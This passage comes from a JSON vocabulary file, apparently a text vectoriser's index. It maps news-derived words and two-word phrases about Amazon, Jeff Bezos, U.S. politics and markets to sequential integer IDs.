\"pescatore\": 66531,\n  \"2f17855358 2fjeff\": 66532,\n  \"volunteers\": 66533,\n  \"muslim travel\": 66534,\n  \"offering adobe\": 66535,\n  \"highly sensitive\": 66536,\n  \"national brands\": 66537,\n  \"refine\": 66538,\n  \"president pence\": 66539,\n  \"tech training\": 66540,\n  \"tuition\": 66541,\n  \"lawmakers president\": 66542,\n  \"predatory anti\": 66543,\n  \"faults\": 66544,\n  \"just 145\": 66545,\n  \"turner\": 66546,\n  \"smartphone looking\": 66547,\n  \"communities indigenous\": 66548,\n  \"leader refusal\": 66549,\n  \"hopkins\": 66550,\n  \"later saying\": 66551,\n  \"worse terms\": 66552,\n  \"start date\": 66553,\n  \"melber thebeatwithari\": 66554,\n  \"customs imposes\": 66555,\n  \"authoritarian rule\": 66556,\n  \"young person\": 66557,\n  \"blacq\": 66558,\n  \"bear diapers\": 66559,\n  \"touch\": 66560,\n  \"competition android\": 66561,\n  \"personal ownership\": 66562,\n  \"wife jane\": 66563,\n  \"left national\": 66564,\n  \"trounced earnings\": 66565,\n  \"buys progressives\": 66566,\n  \"trump brushes\": 66567,\n  \"robotics\": 66568,\n  \"called axios\": 66569,\n  \"politicians line\": 66570,\n  \"loathe\": 66571,\n  \"workers older\": 66572,\n  \"disaffected washed\": 66573,\n  \"increasing\": 66574,\n  \"hour comedy\": 66575,\n  \"division told\": 66576,\n  \"coalition quickly\": 66577,\n  \"carbon footprint\": 66578,\n  \"daily roundup\": 66579,\n  \"london tube\": 66580,\n  \"endurance race\": 66581,\n  \"filipino nicole\": 66582,\n  \"shelf jeff\": 66583,\n  \"dc documents\": 66584,\n  \"story source\": 66585,\n  \"receptive\": 66586,\n  \"speech officially\": 66587,\n  \"creeped\": 66588,\n  \"castle strip\": 66589,\n  \"addressable market\": 66590,\n  \"awards hobnobbing\": 66591,\n  \"shame\": 66592,\n  \"2033\": 66593,\n  \"stores starbucks\": 66594,\n  \"violated ethics\": 66595,\n  \"claim colorado\": 66596,\n  \"iot\": 66597,\n  \"service decides\": 66598,\n  \"economy followed\": 66599,\n  \"stagger\": 66600,\n  \"pune\": 66601,\n  \"leave china\": 66602,\n  \"817\": 66603,\n  \"profitable company\": 66604,\n  \"bezos pre\": 66605,\n  \"twilight\": 66606,\n  \"heptio\": 66607,\n  \"criticism really\": 66608,\n  \"data research\": 66609,\n  \"repealing\": 66610,\n  \"parlayed\": 66611,\n  \"abramowitz denied\": 66612,\n  \"corporate governance\": 66613,\n  \"wisconsin met\": 66614,\n  \"accompanied\": 66615,\n  \"aquarefining\": 66616,\n  \"freeze sussex\": 66617,\n  \"coverage entirely\": 66618,\n  \"majority stake\": 66619,\n  \"primarily engaged\": 66620,\n  \"city areas\": 66621,\n  \"amazon crosstalk\": 66622,\n  \"yale university\": 66623,\n  \"funds loved\": 66624,\n  \"yields rise\": 66625,\n  \"essential service\": 66626,\n  \"merced\": 66627,\n  \"backward offering\": 66628,\n  \"birthday people\": 66629,\n  \"bearishness managers\": 66630,\n  \"movie monsters\": 66631,\n  \"efficient economy\": 66632,\n  \"390 rogue\": 66633,\n  \"service interruptions\": 66634,\n  \"nturner7\": 66635,\n  \"finished consumer\": 66636,\n  \"stock market\": 66637,\n  \"rotten\": 66638,\n  \"air conditioning\": 66639,\n  \"maintained amazon\": 66640,\n  \"published audio\": 66641,\n  \"california leads\": 66642,\n  \"groups applauding\": 66643,\n  \"oa pa\": 66644,\n  \"vetted qualified\": 66645,\n  \"commitments pdf\": 66646,\n  \"wished recipients\": 66647,\n  \"collective mlc\": 66648,\n  \"max brantley\": 66649,\n  \"operating capacity\": 66650,\n  \"secondary\": 66651,\n  \"titled abroad\": 66652,\n  \"marginalized group\": 66653,\n  \"scandalous\": 66654,\n  \"package journey\": 66655,\n  \"needlessly freezing\": 66656,\n  \"annual profit\": 66657,\n  \"know lara\": 66658,\n  \"cr\": 66659,\n  \"deliver amazon\": 66660,\n  \"key aspects\": 66661,\n  \"seller list\": 66662,\n  \"oversee silicon\": 66663,\n  \"anger management\": 66664,\n  \"offer 325\": 66665,\n  \"pakistan election\": 66666,\n  \"erasing black\": 66667,\n  \"walmart pointed\": 66668,\n  \"going start\": 66669,\n  \"debilitating phrase\": 66670,\n  \"war damage\": 66671,\n  \"gains taxes\": 66672,\n  \"faceted highly\": 66673,\n  \"welcome read\": 66674,\n  \"havrilesky\": 66675,\n  \"offering checking\": 66676,\n  \"legitimate workplace\": 66677,\n  \"trio\": 66678,\n  \"lead nationalist\": 66679,\n  \"2012 daniel\": 66680,\n  \"popular fox\": 66681,\n  \"house embed\": 66682,\n  \"picked bad\": 66683,\n  \"kyle dailycallernewsfoundation\": 66684,\n  \"savings shaping\": 66685,\n  \"wing republicans\": 66686,\n  \"100 early\": 66687,\n  \"ranger\": 66688,\n  \"kaitlan\": 66689,\n  \"1950s life\": 66690,\n  \"taught\": 66691,\n  \"cramer micron\": 66692,\n  \"gimel\": 66693,\n  \"sytle mentality\": 66694,\n  \"later creating\": 66695,\n  \"8211 victory\": 66696,\n  \"plus commentary\": 66697,\n  \"1908\": 66698,\n  \"foes initially\": 66699,\n  \"biggest brand\": 66700,\n  \"think amzn\": 66701,\n  \"400 new\": 66702,\n  \"previously allowed\": 66703,\n  \"patient access\": 66704,\n  \"heights\": 66705,\n  \"energize oppo\": 66706,\n  \"announcement cameroon\": 66707,\n  \"material aside\": 66708,\n  \"exclusively according\": 66709,\n  \"months earlier\": 66710,\n  \"d6f1rzl8mc\": 66711,\n  \"distract\": 66712,\n  \"postwar\": 66713,\n  \"split publicly\": 66714,\n  \"saying disney\": 66715,\n  \"isle\": 66716,\n  \"bond market\": 66717,\n  \"frequeny\": 66718,\n  \"wojtaszek\": 66719,\n  \"studiom overworked\": 66720,\n  \"briefly exceeded\": 66721,\n  \"old worn\": 66722,\n  \"equally deep\": 66723,\n  \"4ebc\": 66724,\n  \"phone wasn\": 66725,\n  \"operating revenue\": 66726,\n  \"8217 peers\": 66727,\n  \"000 annual\": 66728,\n  \"subjecting\": 66729,\n  \"ireland versus\": 66730,\n  \"goal followed\": 66731,\n  \"olympics\": 66732,\n  \"noel feels\": 66733,\n  \"promotions\": 66734,\n  \"enquirer jan\": 66735,\n  \"repurchased approximately\": 66736,\n  \"incumbent democrat\": 66737,\n  \"tv screens\": 66738,\n  \"resourced high\": 66739,\n  \"wild swings\": 66740,\n  \"watergate size\": 66741,\n  \"person buy\": 66742,\n  \"speech\": 66743,\n  \"mini\": 66744,\n  \"patients right\": 66745,\n  \"value investor\": 66746,\n  \"amazon officially\": 66747,\n  \"fake\": 66748,\n  \"holding kindle\": 66749,\n  \"congress government\": 66750,\n  \"democrat party\": 66751,\n  \"peter giessen\": 66752,\n  \"outsize\": 66753,\n  \"0x8lechrcf\": 66754,\n  \"acquire\": 66755,\n  \"wti\": 66756,\n  \"grine\": 66757,\n  \"plan dr\": 66758,\n  \"million investment\": 66759,\n  \"shootout\": 66760,\n  \"missed appointments\": 66761,\n  \"talk turned\": 66762,\n  \"various methods\": 66763,\n  \"defence euro\": 66764,\n  \"wall mariachi\": 66765,\n  \"harjinder\": 66766,\n  \"bezos exposes\": 66767,\n  \"berlin fragmentary\": 66768,\n  \"tv outing\": 66769,\n  \"crybaby\": 66770,\n  \"60m\": 66771,\n  \"friends reportedly\": 66772,\n  \"sherman antitrust\": 66773,\n  \"cars advanced\": 66774,\n  \"goods totaled\": 66775,\n  \"alleged amazon\": 66776,\n  \"5x vmware\": 66777,\n  \"spectrum\": 66778,\n  \"completed work\": 66779,\n  \"sanches reportedly\": 66780,\n  \"currently using\": 66781,\n  \"million seed\": 66782,\n  \"regulators subpoena\": 66783,\n  \"pretext\": 66784,\n  \"united auto\": 66785,\n  \"kunduz\": 66786,\n  \"bigger problems\": 66787,\n  \"storm\": 66788,\n  \"urbanologist richard\": 66789,\n  \"make ants\": 66790,\n  \"senior adviser\": 66791,\n  \"special democrats\": 66792,\n  \"analog semiconductors\": 66793,\n  \"grind\": 66794,\n  \"large businesses\": 66795,\n  \"conservationists\": 66796,\n  \"director jeff\": 66797,\n  \"liability carveout\": 66798,\n  \"suffer absolutely\": 66799,\n  \"providers aws\": 66800,\n  \"john wray\": 66801,\n  \"boss\": 66802,\n  \"military surveillance\": 66803,\n  \"market position\": 66804,\n  \"buy america\": 66805,\n  \"strange cramer\": 66806,\n  \"amazon fee\": 66807,\n  \"jonathan van\": 66808,\n  \"article originally\": 66809,\n  \"china main\": 66810,\n  \"ann\": 66811,\n  \"amazon handmade\": 66812,\n  \"passports\": 66813,\n  \"robert greene\": 66814,\n  \"indispensable\": 66815,\n  \"trump family\": 66816,\n  \"575x270\": 66817,\n  \"inaugural aws\": 66818,\n  \"national campaign\": 66819,\n  \"opponent ties\": 66820,\n  \"post fabricated\": 66821,\n  \"expensive crude\": 66822,\n  \"warren unveiled\": 66823,\n  \"firm wealthsimple\": 66824,\n  \"herguth mayor\": 66825,\n  \"law cleaving\": 66826,\n  \"private research\": 66827,\n  \"applaud gov\": 66828,\n  \"drafts view\": 66829,\n  \"congress says\": 66830,\n  \"game changer\": 66831,\n  \"contractual agreement\": 66832,\n  \"fallout michael\": 66833,\n  \"publisher did\": 66834,\n  \"tilley chief\": 66835,\n  \"dips\": 66836,\n  \"calls china\": 66837,\n  \"post scam\": 66838,\n  \"usatoday nationalpost\": 66839,\n  \"messages hope\": 66840,\n  \"directors started\": 66841,\n  \"cnn schiff\": 66842,\n  \"maxinewaters\": 66843,\n  \"pussy cat\": 66844,\n  \"environmentalists sure\": 66845,\n  \"usps spokesman\": 66846,\n  \"willingly tolerate\": 66847,\n  \"profitable approach\": 66848,\n  \"police surveillance\": 66849,\n  \"document archived\": 66850,\n  \"prostitution atlanta\": 66851,\n  \"thrones actress\": 66852,\n  \"hearth\": 66853,\n  \"irate\": 66854,\n  \"collateral netflix\": 66855,\n  \"claim saying\": 66856,\n  \"comment subscribe\": 66857,\n  \"environment platform\": 66858,\n  \"tornadoes norwegian\": 66859,\n  \"marginal revenue\": 66860,\n  \"folding\": 66861,\n  \"multiple opportunities\": 66862,\n  \"ascended\": 66863,\n  \"recently predicted\": 66864,\n  \"topic trump\": 66865,\n  \"amazon super\": 66866,\n  \"comment bezos\": 66867,\n  \"raised add_commas\": 66868,\n  \"undoubtedly massive\": 66869,\n  \"latest pick\": 66870,\n  \"tabloid reporting\": 66871,\n  \"warmland\": 66872,\n  \"areas especially\": 66873,\n  \"tweets trump\": 66874,\n  \"possible anti\": 66875,\n  \"iran says\": 66876,\n  \"amazon milton\": 66877,\n  \"agency cloud\": 66878,\n  \"duty assessed\": 66879,\n  \"arapahoe\": 66880,\n  \"company openly\": 66881,\n  \"morgan 215\": 66882,\n  \"dj ezasscul\": 66883,\n  \"spam\": 66884,\n  \"lifestyles respect\": 66885,\n  \"shelly\": 66886,\n  \"day later\": 66887,\n  \"rabbit sold\": 66888,\n  \"author illustrates\": 66889,\n  \"defends torture\": 66890,\n  \"removal trump\": 66891,\n  \"mail packages\": 66892,\n  \"disclosing personal\": 66893,\n  \"group llc\": 66894,\n  \"absorb fox\": 66895,\n  \"stocks extend\": 66896,\n  \"students faculty\": 66897,\n  \"press releases\": 66898,\n  \"look easy\": 66899,\n  \"blatant oversight\": 66900,\n  \"x5\": 66901,\n  \"beloved video\": 66902,\n  \"1350\": 66903,\n  \"education health\": 66904,\n  \"website jet\": 66905,\n  \"corp market\": 66906,\n  \"comforts\": 66907,\n  \"ivanka branded\": 66908,\n  \"tx sentenced\": 66909,\n  \"investor positioning\": 66910,\n  \"american modernist\": 66911,\n  \"hire dozens\": 66912,\n  \"unleashed litany\": 66913,\n  \"smoky\": 66914,\n  \"based creative\": 66915,\n  \"pain eighty\": 66916,\n  \"effectively reflect\": 66917,\n  \"changed\": 66918,\n  \"readystate a4ee\": 66919,\n  \"intelligence indicates\": 66920,\n  \"lobby\": 66921,\n  \"forces outside\": 66922,\n  \"nbsp mackenzie\": 66923,\n  \"sales assistant\": 66924,\n  \"hollywood business\": 66925,\n  \"drumming\": 66926,\n  \"doldrums\": 66927,\n  \"grown substantially\": 66928,\n  \"startups fairer\": 66929,\n  \"shipping partnership\": 66930,\n  \"bernie democratic\": 66931,\n  \"candidate pritzker\": 66932,\n  \"newest attorney\": 66933,\n  \"season amazon\": 66934,\n  \"publicly say\": 66935,\n  \"overlaying\": 66936,\n  \"run data\": 66937,\n  \"reached brexit\": 66938,\n  \"asked napolitano\": 66939,\n  \"377 4000\": 66940,\n  \"balancing\": 66941,\n  \"drug kickbacks\": 66942,\n  \"halt amazon\": 66943,\n  \"accompanies terrible\": 66944,\n  \"new workforce\": 66945,\n  \"bush grew\": 66946,\n  \"term laundry\": 66947,\n  \"deplorables\": 66948,\n  \"128 750\": 66949,\n  \"fr amazon\": 66950,\n  \"holy crap\": 66951,\n  \"campaign described\": 66952,\n  \"nextgov\": 66953,\n  \"krieger\": 66954,\n  \"threat jeopardizes\": 66955,\n  \"bezos read\": 66956,\n  \"democratic resurgence\": 66957,\n  \"employment history\": 66958,\n  \"genius experiment\": 66959,\n  \"2019 editions\": 66960,\n  \"exits alex\": 66961,\n  \"packages\": 66962,\n  \"patently clear\": 66963,\n  \"lost ad\": 66964,\n  \"launched concerted\": 66965,\n  \"toured\": 66966,\n  \"amazon angry\": 66967,\n  \"styrofoam\": 66968,\n  \"kathy griffin\": 66969,\n  \"encroaches\": 66970,\n  \"cancer foundation\": 66971,\n  \"bid add\": 66972,\n  \"shoppers bypassing\": 66973,\n  \"fr\": 66974,\n  \"drc\": 66975,\n  \"adoration\": 66976,\n  \"novelrank\": 66977,\n  \"time point\": 66978,\n  \"begin flurry\": 66979,\n  \"kardashians kim\": 66980,\n  \"putnam\": 66981,\n  \"online results\": 66982,\n  \"america hadn\": 66983,\n  \"kurt\": 66984,\n  \"asset base\": 66985,\n  \"mackenzie bezos\": 66986,\n  \"market hits\": 66987,\n  \"calls trumpatriotism\": 66988,\n  \"revitalize moribund\": 66989,\n  \"nbsp north\": 66990,\n  \"rothschild called\": 66991,\n  \"barely decade\": 66992,\n  \"successful mixed\": 66993,\n  \"delivering ecommerce\": 66994,\n  \"overnight high\": 66995,\n  \"publicized nationwide\": 66996,\n  \"politician barbs\": 66997,\n  \"laws want\": 66998,\n  \"corker tenn\": 66999,\n  \"pentagon euro\": 67000,\n  \"amazon large\": 67001,\n  \"jovem pan\": 67002,\n  \"imposes productivity\": 67003,\n  \"brilliant time\": 67004,\n  \"doorsteps wall\": 67005,\n  \"document provides\": 67006,\n  \"domino effect\": 67007,\n  \"upstate area\": 67008,\n  \"search giant\": 67009,\n  \"strategists\": 67010,\n  \"criticism higher\": 67011,\n  \"week fetus\": 67012,\n  \"wall emergency\": 67013,\n  \"programming interface\": 67014,\n  \"enquirer insiders\": 67015,\n  \"spared\": 67016,\n  \"nalgene took\": 67017,\n  \"marquees\": 67018,\n  \"caused huge\": 67019,\n  \"choir deplorablechoir\": 67020,\n  \"iran deal\": 67021,\n  \"literally stopped\": 67022,\n  \"firearm discharges\": 67023,\n  \"new photos\": 67024,\n  \"firm loop\": 67025,\n  \"revealed bezos\": 67026,\n  \"popular culture\": 67027,\n  \"senators ask\": 67028,\n  \"material unless\": 67029,\n  \"corporation friendly\": 67030,\n  \"500 located\": 67031,\n  \"order watch\": 67032,\n  \"retail shelves\": 67033,\n  \"profitability struggles\": 67034,\n  \"amazon politicians\": 67035,\n  \"lowers\": 67036,\n  \"saw worries\": 67037,\n  \"bipartisan fashion\": 67038,\n  \"unexplained content\": 67039,\n  \"marina\": 67040,\n  \"tattoo michael\": 67041,\n  \"cisco hpe\": 67042,\n  \"thriller traitors\": 67043,\n  \"tab\": 67044,\n  \"new brick\": 67045,\n  \"stock google\": 67046,\n  \"changed colour\": 67047,\n  \"illusionist vegas\": 67048,\n  \"prepared foods\": 67049,\n  \"gelatin\": 67050,\n  \"officials pentagon\": 67051,\n  \"better employment\": 67052,\n  \"course included\": 67053,\n  \"frameworks\": 67054,\n  \"relatively kind\": 67055,\n  \"economic downturn\": 67056,\n  \"carnivalcruise\": 67057,\n  \"clima politico\": 67058,\n  \"elections boteach\": 67059,\n  \"signing judge\": 67060,\n  \"know bezos\": 67061,\n  \"illegally crossing\": 67062,\n  \"tech enabled\": 67063,\n  \"inadequate plan\": 67064,\n  \"road improvements\": 67065,\n  \"reassure society\": 67066,\n  \"score 2018\": 67067,\n  \"lawyers argued\": 67068,\n  \"immigration miller\": 67069,\n  \"clearances\": 67070,\n  \"gop donor\": 67071,\n  \"malice glinting\": 67072,\n  \"romanoffs amazon\": 67073,\n  \"bin nayef\": 67074,\n  \"house police\": 67075,\n  \"mdg advertising\": 67076,\n  \"rockwell\": 67077,\n  \"sanchez supplied\": 67078,\n  \"radar screen\": 67079,\n  \"providing jobs\": 67080,\n  \"granting incentives\": 67081,\n  \"reassure investors\": 67082,\n  \"tax avoiding\": 67083,\n  \"tabloid chief\": 67084,\n  \"operate including\": 67085,\n  \"voices online\": 67086,\n  \"symptoms\": 67087,\n  \"functioning\": 67088,\n  \"know lot\": 67089,\n  \"larson\": 67090,\n  \"people illegally\": 67091,\n  \"flake ariz\": 67092,\n  \"long discussed\": 67093,\n  \"arresting\": 67094,\n  \"male persecution\": 67095,\n  \"mold\": 67096,\n  \"nfib\": 67097,\n  \"orca\": 67098,\n  \"brazilian democracy\": 67099,\n  \"regulators according\": 67100,\n  \"reorg\": 67101,\n  \"amicably divorcing\": 67102,\n  \"schlapp\": 67103,\n  \"people holding\": 67104,\n  \"hourly associates\": 67105,\n  \"overtime\": 67106,\n  \"fair emily\": 67107,\n  \"birnbaum\": 67108,\n  \"assist puerto\": 67109,\n  \"berenberg capital\": 67110,\n  \"ugly lows\": 67111,\n  \"default rates\": 67112,\n  \"biased face\": 67113,\n  \"portion\": 67114,\n  \"make products\": 67115,\n  \"observat\\u00f3rio\": 67116,\n  \"country thousands\": 67117,\n  \"planned\": 67118,\n  \"cbs4 meteorologist\": 67119,\n  \"needed palette\": 67120,\n  \"new partners\": 67121,\n  \"street finished\": 67122,\n  \"actions targeting\": 67123,\n  \"178bn 137bn\": 67124,\n  \"ibd analysis\": 67125,\n  \"walmart owned\": 67126,\n  \"vietnam strategic\": 67127,\n  \"disciplines\": 67128,\n  \"chatham executives\": 67129,\n  \"targeting drug\": 67130,\n  \"matt rumsey\": 67131,\n  \"river water\": 67132,\n  \"revelations surrounding\": 67133,\n  \"connect\": 67134,\n  \"whale mcdonald\": 67135,\n  \"won participate\": 67136,\n  \"fiesty\": 67137,\n  \"digested\": 67138,\n  \"sayingessentially\": 67139,\n  \"election calls\": 67140,\n  \"president isstill\": 67141,\n  \"dollar marks\": 67142,\n  \"readiness\": 67143,\n  \"account\": 67144,\n  \"ballistic missiles\": 67145,\n  \"paralympic\": 67146,\n  \"king college\": 67147,\n  \"firedfbi\": 67148,\n  \"stocks amazon\": 67149,\n  \"388 robo\": 67150,\n  \"affairs therapist\": 67151,\n  \"controlled maga\": 67152,\n  \"amazon missed\": 67153,\n  \"students changed\": 67154,\n  \"technological advancements\": 67155,\n  \"491\": 67156,\n  \"racy photographs\": 67157,\n  \"glucosinolate nutrients\": 67158,\n  \"trafigura halts\": 67159,\n  \"cherry zhang\": 67160,\n  \"rates don\": 67161,\n  \"administration policies\": 67162,\n  \"actress activist\": 67163,\n  \"flooding amazon\": 67164,\n  \"quoted sources\": 67165,\n  \"association\": 67166,\n  \"divided vatican\": 67167,\n  \"legislation dealing\": 67168,\n  \"rie\": 67169,\n  \"oil sets\": 67170,\n  \"dunkin brands\": 67171,\n  \"worth keeping\": 67172,\n  \"times mecca\": 67173,\n  \"chu\": 67174,\n  \"faced questions\": 67175,\n  \"states buys\": 67176,\n  \"183 456\": 67177,\n  \"progression\": 67178,\n  \"superpowers according\": 67179,\n  \"guests mingled\": 67180,\n  \"school told\": 67181,\n  \"000 corporate\": 67182,\n  \"world right\": 67183,\n  \"global expansion\": 67184,\n  \"trigger president\": 67185,\n  \"real_estate commercial\": 67186,\n  \"start kicking\": 67187,\n  \"financial adviser\": 67188,\n  \"hypersensitive\": 67189,\n  \"crisis ifhe\": 67190,\n  \"reportedly pushed\": 67191,\n  \"crain\": 67192,\n  \"director cordray\": 67193,\n  \"placed\": 67194,\n  \"sparse\": 67195,\n  \"amazon related\": 67196,\n  \"business income\": 67197,\n  \"regulate data\": 67198,\n  \"tariff rate\": 67199,\n  \"dogma wide\": 67200,\n  \"2015 new\": 67201,\n  \"394 000\": 67202,\n  \"quarter guidance\": 67203,\n  \"public utility\": 67204,\n  \"walsh\": 67205,\n  \"reports state\": 67206,\n  \"healthcare tweets\": 67207,\n  \"israeli cloud\": 67208,\n  \"factual findings\": 67209,\n  \"jack ryan\": 67210,\n  \"york headquarters\": 67211,\n  \"smart tips\": 67212,\n  \"senators\": 67213,\n  \"ambiguous statute\": 67214,\n  \"trump comments\": 67215,\n  \"eat bit\": 67216,\n  \"finding new\": 67217,\n  \"46m reports\": 67218,\n  \"buy tires\": 67219,\n  \"sentiment yesterday\": 67220,\n  \"sanders credited\": 67221,\n  \"journey conley\": 67222,\n  \"techlash political\": 67223,\n  \"triumph feels\": 67224,\n  \"megdal pitchers\": 67225,\n  \"estate empire\": 67226,\n  \"marriage peter\": 67227,\n  \"later common\": 67228,\n  \"conservative sims\": 67229,\n  \"service obligation\": 67230,\n  \"effective cheering\": 67231,\n  \"sufficient revenue\": 67232,\n  \"trickster roger\": 67233,\n  \"walker outrageously\": 67234,\n  \"unfettered genius\": 67235,\n  \"just means\": 67236,\n  \"fake reporter\": 67237,\n  \"jackson international\": 67238,\n  \"jailed\": 67239,\n  \"deliver advanced\": 67240,\n  \"institutions bezos\": 67241,\n  \"including old\": 67242,\n  \"drafted contractor\": 67243,\n  \"military departments\": 67244,\n  \"state teachers\": 67245,\n  \"7j1gyvrsrt bloomberg\": 67246,\n  \"health worker\": 67247,\n  \"hollywood tapes\": 67248,\n  \"confidential settlement\": 67249,\n  \"nfbk\": 67250,\n  \"glenn weiss\": 67251,\n  \"abramson defended\": 67252,\n  \"primary recommendation\": 67253,\n  \"arkansas\": 67254,\n  \"clinton public\": 67255,\n  \"broadened\": 67256,\n  \"snell\": 67257,\n  \"early mistakes\": 67258,\n  \"super greensand\": 67259,\n  \"state owned\": 67260,\n  \"despite frenzied\": 67261,\n  \"menu clearly\": 67262,\n  \"excited twitterian\": 67263,\n  \"york treatment\": 67264,\n  \"sporkful yewande\": 67265,\n  \"simmered\": 67266,\n  \"house intelligence\": 67267,\n  \"jared halpern\": 67268,\n  \"annual global\": 67269,\n  \"democracy think\": 67270,\n  \"suffered significant\": 67271,\n  \"local stations\": 67272,\n  \"american dream\": 67273,\n  \"activity location\": 67274,\n  \"takes care\": 67275,\n  \"campusreform org\": 67276,\n  \"text leak\": 67277,\n  \"family guy\": 67278,\n  \"buy online\": 67279,\n  \"noughties\": 67280,\n  \"1537260656 mod\": 67281,\n  \"curb just\": 67282,\n  \"predatory pricing\": 67283,\n  \"terrific new\": 67284,\n  \"wouldn elaborate\": 67285,\n  \"722\": 67286,\n  \"weakening domestic\": 67287,\n  \"holistically\": 67288,\n  \"buy ulta\": 67289,\n  \"current spate\": 67290,\n  \"legislative authority\": 67291,\n  \"gmt jussie\": 67292,\n  \"owning monopoly\": 67293,\n  \"supremacist militias\": 67294,\n  \"headline making\": 67295,\n  \"market advocate\": 67296,\n  \"billionaire hedge\": 67297,\n  \"political right\": 67298,\n  \"american behavior\": 67299,\n  \"l2 amazon\": 67300,\n  \"story contrarian\": 67301,\n  \"disadvantage trump\": 67302,\n  \"4k ultra\": 67303,\n  \"troubles pecker\": 67304,\n  \"acquisitions just\": 67305,\n  \"sell appear\": 67306,\n  \"male friend\": 67307,\n  \"editor springer\": 67308,\n  \"street shifted\": 67309,\n  \"n0 r4ee\": 67310,\n  \"wage blue\": 67311,\n  \"years stoking\": 67312,\n  \"antitrust talk\": 67313,\n  \"g5q var\": 67314,\n  \"19pm\": 67315,\n  \"including canceling\": 67316,\n  \"price drop\": 67317,\n  \"extended attack\": 67318,\n  \"company signed\": 67319,\n  \"html source\": 67320,\n  \"owns wme\": 67321,\n  \"doubled finally\": 67322,\n  \"receive working\": 67323,\n  \"buffett euro\": 67324,\n  \"planned senate\": 67325,\n  \"food heaven\": 67326,\n  \"9625\": 67327,\n  \"camarda\": 67328,\n  \"global economic\": 67329,\n  \"network effects\": 67330,\n  \"story oil\": 67331,\n  \"dockless scooters\": 67332,\n  \"needs fewer\": 67333,\n  \"adventori\": 67334,\n  \"revivals\": 67335,\n  \"revenue share\": 67336,\n  \"populist bezos\": 67337,\n  \"pay decent\": 67338,\n  \"jeff reversed\": 67339,\n  \"polices\": 67340,\n  \"minutes aired\": 67341,\n  \"concerns\": 67342,\n  \"stanley maintained\": 67343,\n  \"morning liz\": 67344,\n  \"trump house\": 67345,\n  \"new center\": 67346,\n  \"2018 npr\": 67347,\n  \"competition point\": 67348,\n  \"year vir\": 67349,\n  \"attendees included\": 67350,\n  \"tall clock\": 67351,\n  \"destruction amazon\": 67352,\n  \"new model\": 67353,\n  \"doj infiltrated\": 67354,\n  \"position amazon\": 67355,\n  \"worker michael\": 67356,\n  \"200 hours\": 67357,\n  \"year everybody\": 67358,\n  \"current candidates\": 67359,\n  \"delay reuters\": 67360,\n  \"amazon achtung\": 67361,\n  \"alternatively mounting\": 67362,\n  \"richter\": 67363,\n  \"billion purchase\": 67364,\n  \"hasn helped\": 67365,\n  \"scott hagedorn\": 67366,\n  \"recent unprecedented\": 67367,\n  \"spectacular\": 67368,\n  \"donnelly managing\": 67369,\n  \"clair\": 67370,\n  \"offense learning\": 67371,\n  \"state don\": 67372,\n  \"derides\": 67373,\n  \"locations promising\": 67374,\n  \"manufacturing subcontractors\": 67375,\n  \"quips\": 67376,\n  \"getting nervous\": 67377,\n  \"pushing shares\": 67378,\n  \"min kim\": 67379,\n  \"brie glow\": 67380,\n  \"business ceo\": 67381,\n  \"owner sent\": 67382,\n  \"amazon amid\": 67383,\n  \"yes thanks\": 67384,\n  \"marty baron\": 67385,\n  \"17m shares\": 67386,\n  \"alleged skewing\": 67387,\n  \"dwarfs google\": 67388,\n  \"eliminate workers\": 67389,\n  \"market appears\": 67390,\n  \"global retailer\": 67391,\n  \"facebook regularly\": 67392,\n  \"000 toys\": 67393,\n  \"olick open\": 67394,\n  \"jewels\": 67395,\n  \"spicer won\": 67396,\n  \"pay subscription\": 67397,\n  \"million population\": 67398,\n  \"enhancements mar\": 67399,\n  \"synergies\": 67400,\n  \"develop second\": 67401,\n  \"sears edward\": 67402,\n  \"leverage business\": 67403,\n  \"real store\": 67404,\n  \"fang members\": 67405,\n  \"dismissed ocasio\": 67406,\n  \"dotcom failure\": 67407,\n  \"city residents\": 67408,\n  \"protection bureau\": 67409,\n  \"router company\": 67410,\n  \"sold shares\": 67411,\n  \"office schiff\": 67412,\n  \"shares traded\": 67413,\n  \"year related\": 67414,\n  \"election reform\": 67415,\n  \"bluewave hashtag\": 67416,\n  \"xinhua news\": 67417,\n  \"suppliers despite\": 67418,\n  \"spicer\": 67419,\n  \"phishing decreased\": 67420,\n  \"high performance\": 67421,\n  \"bitcoin business\": 67422,\n  \"honduras farm\": 67423,\n  \"kelli kedis\": 67424,\n  \"alabama gop\": 67425,\n  \"day group\": 67426,\n  \"actually serving\": 67427,\n  \"second round\": 67428,\n  \"269\": 67429,\n  \"truth society\": 67430,\n  \"market exclusive\": 67431,\n  \"eig\": 67432,\n  \"sens susan\": 67433,\n  \"group right\": 67434,\n  \"playing yoru\": 67435,\n  \"world needs\": 67436,\n  \"heather balogh\": 67437,\n  \"rogue princess\": 67438,\n  \"factory production\": 67439,\n  \"equities attempted\": 67440,\n  \"believe public\": 67441,\n  \"nationals overnight\": 67442,\n  \"american goods\": 67443,\n  \"bedminster trump\": 67444,\n  \"covfefe coffee\": 67445,\n  \"business updates\": 67446,\n  \"ckpics\": 67447,\n  \"multibillion dollar\": 67448,\n  \"recommended video\": 67449,\n  \"xr shipments\": 67450,\n  \"accenture acn\": 67451,\n  \"featured flooding\": 67452,\n  \"previous experience\": 67453,\n  \"isn concern\": 67454,\n  \"affairs trump\": 67455,\n  \"data center\": 67456,\n  \"regulators facebook\": 67457,\n  \"hood brim\": 67458,\n  \"separated 300\": 67459,\n  \"president attempt\": 67460,\n  \"financial troubles\": 67461,\n  \"press office\": 67462,\n  \"website glitch\": 67463,\n  \"drama started\": 67464,\n  \"outs international\": 67465,\n  \"promises relative\": 67466,\n  \"girds\": 67467,\n  \"carell says\": 67468,\n  \"giant huawei\": 67469,\n  \"tycoon\": 67470,\n  \"political firm\": 67471,\n  \"diverse perspectives\": 67472,\n  \"thought kindle\": 67473,\n  \"bezos pushed\": 67474,\n  \"upper valley\": 67475,\n  \"view khan\": 67476,\n  \"generate additional\": 67477,\n  \"congratulatory\": 67478,\n  \"oct 2018\": 67479,\n  \"flsa employers\": 67480,\n  \"overdue\": 67481,\n  \"massive blind\": 67482,\n  \"quipped good\": 67483,\n  \"simple don\": 67484,\n  \"having run\": 67485,\n  \"estate manager\": 67486,\n  \"potential privatization\": 67487,\n  \"just joined\": 67488,\n  \"amazon xingu\": 67489,\n  \"factor haverty\": 67490,\n  \"fed started\": 67491,\n  \"approach rourke\": 67492,\n  \"phi beta\": 67493,\n  \"thai army\": 67494,\n  \"brooklyn espinal\": 67495,\n  \"tell people\": 67496,\n  \"obscure diplomat\": 67497,\n  \"debt china\": 67498,\n  \"amazon thank\": 67499,\n  \"bittersweet rate\": 67500,\n  \"winning tale\": 67501,\n  \"lower retail\": 67502,\n  \"skills gap\": 67503,\n  \"largest social\": 67504,\n  \"post popular\": 